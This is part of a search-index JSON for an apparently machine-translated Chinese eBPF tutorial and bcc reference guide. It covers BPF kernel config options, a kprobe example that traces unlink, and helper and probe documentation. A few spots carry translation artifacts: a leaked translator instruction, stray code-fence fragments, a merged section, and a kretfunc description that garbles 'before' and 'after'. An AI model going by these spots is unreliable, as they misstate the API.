特性的内核配置","id":"235","title":"BPF 特性的内核配置"},"236":{"body":"功能 内核配置 描述 基础 CONFIG_BPF_SYSCALL 启用 bpf() 系统调用 CONFIG_BPF_JIT BPF 程序通常由 BPF 解释器处理。此选项允许内核在加载程序时生成本地代码。这将显著加速 BPF 程序的处理 CONFIG_HAVE_BPF_JIT 启用 BPF 即时编译器 CONFIG_HAVE_EBPF_JIT 扩展 BPF JIT (eBPF) CONFIG_HAVE_CBPF_JIT 经典 BPF JIT (cBPF) CONFIG_MODULES 启用可加载内核模块的构建 CONFIG_BPF BPF VM 解释器 CONFIG_BPF_EVENTS 允许用户将 BPF 程序附加到 kprobe、uprobe 和 tracepoint 事件上 CONFIG_PERF_EVENTS 内核性能事件和计数器 CONFIG_HAVE_PERF_EVENTS 启用性能事件 CONFIG_PROFILING 启用分析器使用的扩展分析支持机制 BTF CONFIG_DEBUG_INFO_BTF 从 DWARF 调试信息生成去重的 BTF 类型信息 CONFIG_PAHOLE_HAS_SPLIT_BTF 为每个选定的内核模块生成 BTF CONFIG_DEBUG_INFO_BTF_MODULES 为内核模块生成紧凑的分割 BTF 类型信息 安全 CONFIG_BPF_JIT_ALWAYS_ON 启用 BPF JIT 并删除 BPF 解释器以避免猜测执行 CONFIG_BPF_UNPRIV_DEFAULT_OFF 通过设置默认禁用非特权 BPF Cgroup CONFIG_CGROUP_BPF 支持将 BPF 程序附加到 cgroup 上 网络 CONFIG_BPFILTER 基于 BPF 的数据包过滤框架 (BPFILTER) CONFIG_BPFILTER_UMH 使用内嵌的用户模式助手构建 bpfilter 内核模块 CONFIG_NET_CLS_BPF 基于可编程 BPF (JIT'ed) 过滤器进行数据包分类的基于 BPF 的分类器的替代方法 CONFIG_BPF_STREAM_PARSER 启用此功能，允许使用BPF_MAP_TYPE_SOCKMAP与TCP流解析器配合使用 CONFIG_LWTUNNEL_BPF 在路由查找入站和出站数据包后，允许作为下一跳操作运行BPF程序 CONFIG_NETFILTER_XT_MATCH_BPF BPF匹配将对每个数据包应用Linux套接字过滤器，并接受过滤器返回非零值的数据包 CONFIG_IPV6_SEG6_BPF 为支持BPF seg6local挂钩，添加IPv6 Segement Routing助手 参考 kprobes CONFIG_KPROBE_EVENTS 允许用户通过ftrace接口动态添加跟踪事件（类似于tracepoints） CONFIG_KPROBES 启用基于kprobes的动态事件 CONFIG_HAVE_KPROBES 检查是否启用了kprobes CONFIG_HAVE_REGS_AND_STACK_ACCESS_API 如果架构支持从pt_regs访问寄存器和堆栈条目所需的API，则应该选择此符号。例如，基于kprobes的事件跟踪器需要此API CONFIG_KPROBES_ON_FTRACE 如果架构支持将pt_regs完全传递给函数跟踪，则在函数跟踪器上有kprobes kprobe multi CONFIG_FPROBE 启用fprobe以一次性在多个函数上附加探测点 kprobe override CONFIG_BPF_KPROBE_OVERRIDE 启用BPF程序覆盖kprobed函数 uprobes CONFIG_UPROBE_EVENTS 启用基于uprobes的动态事件 CONFIG_ARCH_SUPPORTS_UPROBES 架构特定的uprobes支持 CONFIG_UPROBES Uprobes是kprobes的用户空间对应项：它们允许仪器应用程序（如'perf probe'）在用户空间二进制文件和库中建立非侵入性探测点，并在用户空间应用程序触发探测点时执行处理函数。 Tracepoints CONFIG_TRACEPOINTS 启用在内核中插入Tracepoints并与问题函数连接 CONFIG_HAVE_SYSCALL_TRACEPOINTS 启用系统调用进入/退出跟踪 Raw Tracepoints Same as Tracepoints LSM CONFIG_BPF_LSM 使用BPF程序对安全钩子进行仪器化，实现动态MAC和审计策略 LIRC CONFIG_BPF_LIRC_MODE2 允许将BPF程序附加到lirc设备","breadcrumbs":"Kernel Configuration for BPF Features » 与 BPF 相关的内核配置","id":"236","title":"与 BPF 相关的内核配置"},"237":{"body":"用于搜索 (Ctrl-F) 和参考。如需教程，请从 tutorial.md 开始。 该指南尚未完成。如果感觉有遗漏的内容，请查看 bcc 和内核源码。如果确认确实有遗漏，请发送拉取请求进行修复，并协助所有人。","breadcrumbs":"bcc Reference Guide » bcc 参考指南","id":"237","title":"bcc 参考指南"},"238":{"body":"bcc 参考指南 目录 BPF C Events & Arguments 1. kprobes 2. kretprobes 3. Tracepoints 4. uprobes 6. USDT探测点 7. 原始跟踪点 8. 系统调用跟踪点 9. kfuncs 10. kretfuncs 11. LSM Probes 12. BPF迭代器 数据 1. bpf_probe_read_kernel() 2. bpf_probe_read_kernel_str()\".```shell 3. bpf_ktime_get_ns() 4. bpf_get_current_pid_tgid() 5. bpf_get_current_uid_gid() 6. bpf_get_current_comm() 7. bpf_get_current_task() 8. bpf_log2l() 9. bpf_get_prandom_u32() 10. bpf_probe_read_user() 11. bpf_probe_read_user_str() 12. bpf_get_ns_current_pid_tgid() 调试 1. bpf_override_return() 输出 1. bpf_trace_printk() 2. BPF_PERF_OUTPUT 3. perf_submit() 4. perf_submit_skb() 5. BPF_RINGBUF_OUTPUT 6. ringbuf_output（） 7. ringbuf_reserve() 8. ringbuf_submit（） 9. ringbuf_discard() Maps 1. BPF_TABLE 固定映射 2. BPF_HASH 3. BPF_ARRAY 4. BPF_HISTOGRAM 5. BPF_STACK_TRACE 6. BPF_PERF_ARRAY 7. BPF_PERCPU_HASH 8. BPF_PERCPU_ARRAY 9. BPF_LPM_TRIE 10. BPF_PROG_ARRAY 11. BPF_DEVMAP 12. BPF_CPUMAP 13. BPF_XSKMAP 14. BPF_ARRAY_OF_MAPS 15. BPF_HASH_OF_MAPS 16. BPF_STACK 17. BPF_QUEUE 18. BPF_SOCKHASH 19. map.lookup() 20. map.lookup_or_try_init() 21. map.delete() 22. map.update() 23. map.insert() 24. map.increment() 25. map.get_stackid() 26. map.perf_read() 27. map.call() 28. map.redirect_map() 29. map.push() 30. map.pop() 31. map.peek() 32. map.sock_hash_update() 33. map.msg_redirect_hash() 34. map.sk_redirect_hash() 许可证 Rewriter bcc Python 初始化 1. BPF 事件 1. attach_kprobe() 2. attach_kretprobe() 3. attach_tracepoint() 4. attach_uprobe() 5. attach_uretprobe() 6. USDT.enable_probe() 7. attach_raw_tracepoint() 8. attach_raw_socket() 9. attach_xdp() 1. XDP_FLAGS_UPDATE_IF_NOEXIST 2. XDP_FLAGS_SKB_MODE 3. XDP_FLAGS_DRV_MODE 4. XDP_FLAGS_HW_MODE 10. attach_func() 12. detach_kprobe() 13. detach_kretprobe() 调试输出 1. trace_print() 2. trace_fields() 输出 API 1. perf_buffer_poll() 2. ring_buffer_poll() 3. ring_buffer_consume() Map APIs 1. get_table() 2. open_perf_buffer() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 12. open_ring_buffer() 13. push() 14. pop() 15. peek() 辅助方法 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF 错误 1. Invalid mem access 2. 无法从专有程序调用 GPL-only 函数 环境变量 1. 内核源代码目录 2. 内核版本覆盖","breadcrumbs":"bcc Reference Guide » 目录","id":"238","title":"目录"},"239":{"body":"本节介绍了 bcc 程序的 C 部分。","breadcrumbs":"bcc Reference Guide » BPF C","id":"239","title":"BPF C"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在do_unlinkat函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为BPF_KPROBE(do_unlinkat)的 kprobe，当进入do_unlinkat函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用bpf_printk函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为BPF_KRETPROBE(do_unlinkat_exit)的 kretprobe，当从do_unlinkat函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用bpf_printk函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"240","title":"Events & Arguments"},"241":{"body":"语法：kprobe__ kernel_function_name kprobe__ 是一个特殊的前缀，用于创建一个 kprobe（对内核函数调用的动态跟踪），后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数，然后使用 Python 的 BPF.attach_kprobe()（稍后会介绍）将其与一个内核函数关联起来来使用 kprobe。 参数在函数声明中指定：kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) 例如： int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} 这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装，并使用以下参数： struct pt_regs *ctx: 寄存器和 BPF 上下文。 struct sock *sk: tcp_v4_connect() 的第一个参数。 第一个参数始终是 struct pt_regs *，其余的是函数的参数（如果你不打算使用它们，则不需要指定）。 示例代码： code （ 输出结果 ),\".\" code （ output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"241","title":"1. kprobes"},"242":{"body":"语法: kretprobe__ kernel_function_name kretprobe__是一个特殊的前缀，它创建了一个kretprobe（对提供的内核函数名进行动态追踪，跟踪内核函数的返回）。您也可以通过声明一个普通的C函数，然后使用Python的BPF.attach_kretprobe()（稍后介绍）将其与内核函数关联起来，来使用kretprobes。 返回值可用作PT_REGS_RC(ctx)，给定函数声明为：kretprobe__ kernel_function_name (struct pt_regs *ctx) 例如: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} 这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测，并将返回值存储在ret中。 现有的用法示例: code （ output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"242","title":"2. kretprobes"},"243":{"body":"语法: TRACEPOINT_PROBE( category , event ) 这是一个宏，用于对由 category : event 定义的tracepoint进行追踪。 tracepoint名称为:。 probe函数名为tracepoint____。 参数在一个args结构体中可用，这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/ category / event /format下查看相关的格式文件。\"args 结构体可用于替代 ctx，作为需要上下文作为参数的每个函数中的参数。这包括特别是 perf_submit() 。 例如： TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} 这会给 random:urandom_read 追踪点注入代码，并打印出追踪点参数 got_bits。 在使用 Python API 时，此探针会自动附加到正确的追踪点目标上。 对于 C++，可以通过明确指定追踪点目标和函数名来附加此追踪点探针： BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") 注意，上面定义的探针函数的名称是 tracepoint__random__urandom_read。 实际示例： code ( output )， search /examples ， search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"243","title":"3. Tracepoints"},"244":{"body":"这些是通过在 C 中声明一个普通函数，然后在 Python 中通过 BPF.attach_uprobe() 将其关联为 uprobes 探针来进行注入的（稍后会介绍）。 可以使用 PT_REGS_PARM 宏来检查参数。 例如： int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} 这将读取第一个参数作为字符串，然后用第二个参数作为整数打印出来。 实际示例： code 。### 5。uretprobes 这些是通过在C中声明一个普通函数，然后在Python中通过BPF.attach_uretprobe()将其关联为uretprobe探测点（稍后详述）来进行插装的。 返回值可以通过PT_REGS_RC(ctx)访问，前提是有一个如下声明的函数： function_name (struct pt_regs *ctx) 例如： BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} 这会递增由返回值索引的dist直方图中的存储桶。 现场演示示例： code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"244","title":"4. uprobes"},"245":{"body":"这些是用户静态定义追踪（USDT）探测点，可以放置在某些应用程序或库中，以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是enable_probe()。通过在C中声明一个普通函数，然后在Python中通过USDT.enable_probe()将其关联为USDT探测点来进行插装。 可以通过以下方式读取参数：bpf_usdt_readarg( index , ctx, &addr) 例如： int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; 这会读取第六个USDT参数，然后将其作为字符串存储到path中。当使用C API中的BPF::init的第三个参数进行USDT的初始化时，如果任何USDT无法进行init，则整个BPF::init都会失败。如果您对一些USDT无法进行init感到满意，则在调用BPF::init之前使用BPF::init_usdt。","breadcrumbs":"bcc Reference Guide » 6. USDT探测点","id":"245","title":"6. USDT探测点"},"246":{"body":"语法：RAW_TRACEPOINT_PROBE( event ) 这是一个宏，用于仪表化由 event 定义的原始跟踪点。 该参数是指向结构体bpf_raw_tracepoint_args的指针，该结构体定义在 bpf.h 中。结构体字段args包含了原始跟踪点的所有参数，可以在 include/trace/events 目录中找到。 例如： RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} 这将仪表化sched:sched_switch跟踪点，并打印prev和next tgid。","breadcrumbs":"bcc Reference Guide » 7. 原始跟踪点","id":"246","title":"7. 原始跟踪点"},"247":{"body":"语法：syscall__SYSCALLNAME。syscall__是一个特殊的前缀，用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数，然后使用Python的BPF.get_syscall_fnname(SYSCALLNAME)和BPF.attach_kprobe()来使用它。 参数在函数声明中指定: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). 例如： int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} 这将对execve系统调用进行探查。 第一个参数始终是struct pt_regs *，其余的参数是函数的参数（如果您不打算使用它们，则无需指定）。 相应的Python代码： b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") 示例： code ( output )","breadcrumbs":"bcc Reference Guide » 8. 系统调用跟踪点","id":"247","title":"8. 系统调用跟踪点"},"248":{"body":"语法：KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) 这是一个通过跳板来在内核函数执行 之前 对其进行探查的宏。它由 function 名称和 argX 定义的函数参数组成。 例如： KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ...\n} 这将对do_sys_open内核函数进行探查，并将其参数作为标准参数值访问。 示例： search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"248","title":"9. kfuncs"},"249":{"body":"语法：KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) 这是一个通过跳板来在内核函数执行 之前 探查的宏。 格式：仅返回翻译后的内容，不包括原始文本。 在 函数执行之后。它由 函数 名称和定义为 argX 的函数参数定义。 探针的最后一个参数是检测函数的返回值。 例如： KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... 这会对do_sys_open内核函数进行检测，并将其参数作为标准参数值一起与其返回值一起提取。 原地示例： 搜索 /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"249","title":"10. kretfuncs"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"语法：LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) 这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。 它通过指定挂钩名及其参数来定义。 可以在 include/linux/security.h 中找到挂钩名称，方法是取security_hookname之类的函数名，然后只保留hookname部分。 例如，security_bpf仅变成了bpf。 与其他BPF程序类型不同，LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功，而 任何非零的返回值都会导致挂钩失败和拒绝安全操作。 以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测： LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} 这会对security_bpf挂钩进行检测，并导致其返回-EPERM。 将return -EPERM更改为return 0会导致BPF程序允许该操作。 LSM探针需要至少一个5.7+内核，并设置了以下配置选项： CONFIG_BPF_LSM=y CONFIG_LSM 逗号分隔的字符串必须包含\"bpf\"（例如， CONFIG_LSM=\"lockdown,yama,bpf\") 原地示例：\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"250","title":"11. LSM Probes"},"251":{"body":"语法: BPF_ITER(target) 这是一个宏，用于定义一个bpf迭代器程序的程序签名。参数 target 指定要迭代的内容。 目前，内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 tools/testing/selftests/bpf/prog_test/bpf_iter.c ，一些示例bpf迭代器程序位于 tools/testing/selftests/bpf/progs ，其中文件名以 bpf_iter 为前缀。 以下示例为 task 目标定义了一个程序，该程序遍历内核中的所有任务。 BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} 在5.8内核中引入了BPF迭代器，可以用于任务（task）、任务文件（task_file）、bpf map、netlink_sock和ipv6_route。在5.9中，对tcp/udp socket和bpf map元素（hashmap、arraymap和sk_local_storage_map）遍历添加了支持。","breadcrumbs":"bcc Reference Guide » 12. BPF迭代器","id":"251","title":"12. BPF迭代器"},"252":{"body":"","breadcrumbs":"bcc Reference Guide » 数据","id":"252","title":"数据"},"253":{"body":"语法: int bpf_probe_read_kernel(void *dst, int size, const void*src) 返回值: 成功时返回0 该函数将从内核地址空间复制size字节到BPF堆栈，以便BPF之后可以对其进行操作。为了安全起见，所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下，比如解引用内核变量时，这会自动发生，因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"253","title":"1. bpf_probe_read_kernel()"},"254":{"body":"语法：int bpf_probe_read_kernel_str(void *dst, int size, const void*src) 返回值： > 0 成功时字符串长度（包括结尾的NULL字符） < 0 出错 该函数将一个以NULL结尾的字符串从内核地址空间复制到BPF堆栈中，以便BPF以后可以对其进行操作。如果字符串的长度小于size，则目标不会用更多的NULL字节进行填充。如果字符串的长度大于size，则只会复制size - 1个字节，并将最后一个字节设置为NULL。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()\".```shell","id":"254","title":"2. bpf_probe_read_kernel_str()\".```shell"},"255":{"body":"语法：u64 bpf_ktime_get_ns(void) 返回值：u64 纳秒数。从系统启动时间开始计数，但在挂起期间停止计数。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"255","title":"3. bpf_ktime_get_ns()"},"256":{"body":"语法：u64 bpf_get_current_pid_tgid(void) 返回值：current->tgid << 32 | current->pid 返回进程ID位于低32位（内核视图的PID，在用户空间通常表示为线程ID），线程组ID位于高32位（在用户空间通常被认为是PID）。通过直接设置为u32类型，我们丢弃了高32位。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"256","title":"4. bpf_get_current_pid_tgid()"},"257":{"body":"语法：u64 bpf_get_current_uid_gid(void) 返回值：current_gid << 32 | current_uid 返回用户ID和组ID。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"257","title":"5. bpf_get_current_uid_gid()"},"258":{"body":"语法: bpf_get_current_comm(char *buf, int size_of_buf) 返回值: 成功时返回0 将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针，大小至少为TASK_COMM_LEN，该变量在linux/sched.h中定义。例如: #include  int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"258","title":"6. bpf_get_current_comm()"},"259":{"body":"语法: bpf_get_current_task() 返回值: 返回指向当前任务的struct task_struct指针。 返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间，标识内核线程，获取当前CPU的运行队列或检索许多其他信息。 在Linux 4.13中，由于字段随机化的问题，您可能需要在包含之前定义两个#define指令: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include  int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"259","title":"7. bpf_get_current_task()"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"语法: unsigned int bpf_log2l(unsigned long v) 返回提供的值的log-2。这通常用于创建直方图的索引，以构建2的幂次直方图。在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"260","title":"8. bpf_log2l()"},"261":{"body":"语法：u32 bpf_get_prandom_u32() 返回一个伪随机的 u32。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"261","title":"9. bpf_get_prandom_u32()"},"262":{"body":"语法：int bpf_probe_read_user(void *dst, int size, const void*src) 返回值：成功时返回0 该函数尝试安全地从用户地址空间读取size个字节到BPF栈中，以便BPF之后可以操作它。为确保安全，所有用户地址空间内存读取必须通过bpf_probe_read_user()。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"262","title":"10. bpf_probe_read_user()"},"263":{"body":"语法：int bpf_probe_read_user_str(void *dst, int size, const void*src) 返回值： > 0 成功时返回字符串长度（包括结尾的NULL） < 0 错误 该函数将一个以NULL结尾的字符串从用户地址空间复制到BPF栈中，以便BPF之后可以操作它。如果字符串长度小于size，则目标不会用额外的NULL字节填充。如果字符串长度大于size，则只会复制size - 1字节，并将最后一字节设置为NULL。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"263","title":"11. bpf_probe_read_user_str()"},"264":{"body":"语法：u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)。从当前 命名空间 中看到的 pid 和 tgid 的值将在 nsdata 中返回。 成功返回0，失败时返回以下之一： 如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配，或者dev转换为dev_t丢失了高位，则返回**-EINVAL**。 如果当前任务的pidns不存在，则返回**-ENOENT**。 原地示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"264","title":"12. bpf_get_ns_current_pid_tgid()"},"265":{"body":"","breadcrumbs":"bcc Reference Guide » 调试","id":"265","title":"调试"},"266":{"body":"语法：int bpf_override_return(struct pt_regs *, unsigned long rc) 返回值：成功时返回0 当用于附加到函数入口的程序时，会导致该函数的执行被跳过，立即返回rc。这用于目标错误注入。 仅当允许错误注入时，bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 ALLOW_ERROR_INJECTION() 的标签；参考 io_ctl_init 的示例。如果该函数未被加入白名单，bpf程序将无法附加，出现 ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument 错误。 int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"266","title":"1. bpf_override_return()"},"267":{"body":"","breadcrumbs":"bcc Reference Guide » 输出","id":"267","title":"输出"},"268":{"body":"语法：int bpf_trace_printk(const char *fmt, ...) 返回值：成功时返回0 对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的，但有一些限制：最多3个参数，只有一个%s，而且trace_pipe是全局共享的，所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意，与原始内核版本相比，调用这个辅助函数变得更简单，它的第二个参数已经是 fmt_size。 原地示例：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"268","title":"1. bpf_trace_printk()"},"269":{"body":"语法：BPF_PERF_OUTPUT(name) 创建一个BPF表格，通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。 例如： struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} 输出表格名为events，数据通过events.perf_submit()推送到该表格。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"269","title":"2. BPF_PERF_OUTPUT"},"27":{"body":"fentry（function entry）和 fexit（function exit）是 